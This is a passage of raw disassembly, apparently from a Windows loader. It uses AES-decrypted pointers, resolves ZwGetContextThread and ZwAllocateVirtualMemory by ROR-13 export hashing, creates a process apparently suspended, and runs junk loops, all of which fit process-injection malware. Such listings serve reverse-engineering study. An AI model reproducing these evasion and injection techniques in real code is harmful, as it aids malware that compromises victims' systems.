call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x1400072ec
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007398
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007322
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140007373
mov eax, dword [rbp - 0x58]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x930]
lea r8, [rbp - 0x30]
lea rdx, [rbp - 8]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x14000734f
lea rdx, str.Failed_to_decrypt_data
jmp 0x140007373
movsxd rax, dword [rbp - 0x30]
lea rdx, [rbp - 8]
add rdx, rax
lea r8, [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x14000738f
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
lea rdx, [0x14000b3f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov rax, qword [rbp - 0x10]
add rax, r14
mov qword [rbp - 0x30], rax
mov rbx, qword [rbp - 8]
add rbx, r14
lea rdi, [rbp + 0xcc0]
xor eax, eax
mov ecx, 0x1208
rep stosb byte [rdi], al
lea rax, [rbp + 0xab0]
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp word [rax + rdi*2], r12w
jne 0x1400073d0
add rdi, rdi
mov r8, rdi
lea rdx, [rbp + 0xab0]
lea rcx, [rbp + 0xcc0]
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x20
mov word [rbp + rdi + 0xcc0], ax
mov rax, qword [rsp + 0x78]
movzx eax, word [rax]
mov word [rbp + rdi + 0xcc2], ax
movsxd r14, dword [0x14001710c]
lea rax, [0x1400170d0]
add r14, rax
cmp dword [r14], 0x4550
je 0x140007818
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x140007473
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000746d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000746d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x1400074d1
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400074cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400074cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x14000752f
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007529
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007529
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x14000758d
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007587
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007587
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x1400075eb
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400075e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400075e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rcx, qword [rbp + 0x530]
test rcx, rcx
je 0x14000765a
mov rdx, qword [rbp + 0x540]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007642
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007642
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], r12
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x14000769f
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007699
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007699
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x1400076fd
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400076f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400076f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x14000776c
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007754
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007754
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x560]
cmp rdx, 0xf
jbe 0x1400077b1
inc rdx
mov rcx, qword [rbp + 0x548]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400077ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400077ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x558], r12
mov qword [rbp + 0x560], 0xf
mov byte [rbp + 0x548], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x14000780e
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007808
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007808
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov eax, 0xfffffffd
jmp 0x1400092c5
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xcc0]
xor ecx, ecx
call rbx
test eax, eax
jne 0x140007b65
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x14000789a
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007894
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007894
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x1400078f8
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400078f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400078f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140007956
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007950
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007950
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x1400079b4
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400079ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140007a12
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rcx, qword [rbp + 0x530]
test rcx, rcx
je 0x140007a81
mov rdx, qword [rbp + 0x540]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], r12
lea rcx, [rbp + 0x588]
call fcn.14000a900
nop
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140007ad3
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007acd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007acd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140007b42
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007b2a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e2c8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
lea rcx, [rbp + 0x548]
call fcn.14000a900
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009f10
mov eax, 0xfffffffc
jmp 0x1400092c5
lea rcx, [0x140010a80]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
mov esi, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140007c00
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x32
sub edi, ecx
mov ecx, dword [rbp - 0x58]
sub ecx, edi
mov dword [rbp - 0x50], ecx
mov ecx, dword [rbp - 0x50]
mov eax, dword [rbp - 0x58]
add ecx, eax
mov dword [rbp - 0x50], ecx
inc esi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp esi, edi
jl 0x140007ba0
mov esi, r12d
test rbx, rbx
je 0x140007ca9
lea rcx, str.ZwGetContextThread
mov edi, r12d
mov al, 0x5a
nop dword [rax + rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140007c20
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
add r8, rbx
mov r11d, dword [rcx + 0x24]
add r11, rbx
mov r12d, dword [rcx + 0x1c]
add r12, rbx
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x140007ca6
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, rbx
mov ecx, eax
movzx eax, byte [rdx]
test al, al
je 0x140007c93
nop
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140007c80
cmp ecx, edi
je 0x140007cec
inc r9d
add r8, 4
cmp r9d, r10d
mov rax, rsi
jb 0x140007c70
xor r12d, r12d
mov rax, r12
sub rax, rbx
mov qword [rbp + 0x680], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007d00
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007db8
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [r12 + rcx*4]
add rax, rbx
xor r12d, r12d
jmp 0x140007cac
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140007d52
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007daf
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x680]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x7b0]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140007d83
lea rdx, str.Failed_to_encrypt_data
jmp 0x140007d34
movsxd rsi, dword [rbp - 0x60]
lea rdx, [rbp + 0x7b0]
add rdx, rsi
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x140007dac
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140007d34
add esi, dword [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007dee
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007e97
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007e24
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140007e72
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x7b0]
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140007e4e
lea rdx, str.Failed_to_decrypt_data
jmp 0x140007e72
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp - 0x20]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140007e8e
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
lea rdx, [0x14000b3f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov r13, qword [rbp - 0x20]
add r13, rbx
mov esi, r12d
test rbx, rbx
je 0x140007f4b
lea rcx, str.ZwAllocateVirtualMemory
mov edi, r12d
mov al, 0x5a
nop word [rax + rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140007ec0
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
add r8, rbx
mov r11d, dword [rcx + 0x24]
add r11, rbx
mov r12d, dword [rcx + 0x1c]
add r12, rbx
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x140007f48
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, rbx
mov ecx, eax
movzx eax, byte [rdx]
test al, al
je 0x140007f33
nop
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140007f20
cmp ecx, edi
je 0x140007f8e
inc r9d
add r8, 4
cmp r9d, r10d
mov eax, 0
jb 0x140007f10
xor r12d, r12d
mov rax, r12
sub rax, rbx
mov qword [rbp + 0x688], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007fa2
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000805a
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [r12 + rcx*4]
add rax, rbx
xor r12d, r12d
jmp 0x140007f4e
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140007ff4
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140008051
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x688]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x7f0]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140008025
lea rdx, str.Failed_to_encrypt_data
jmp 0x140007fd6
movsxd rsi, dword [rbp - 0x60]
lea rdx, [rbp + 0x7f0]
add rdx, rsi
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x14000804e
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140007fd6
add esi, dword [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140008090
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
mov rcx, rax
lea rdx, [0x14000b3f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140008139
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x710]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400080c6
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140008114
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x7f0]
lea r8, [rbp - 0x58]
lea rdx, [rbp]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400080f0
lea rdx, str.Failed_to_decrypt_data
jmp 0x140008114
movsxd rax, dword [rbp - 0x58]
lea rdx, [rbp]
add rdx, rax
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140008130
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b210
lea rdx, [0x14000b3f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
add rbx, qword [rbp]
lea rdi, [rbp + 0x20]
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rbp + 0x50], 0x10000b
lea rdx, [rbp + 0x20]
mov rcx, qword [r15 + 8]
call r13
mov rcx, qword [r15]
test eax, eax
jns 0x14000855d
mov edx, 0xfffffffb
call qword [0x142e418e0]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x1400081b8
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400081b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
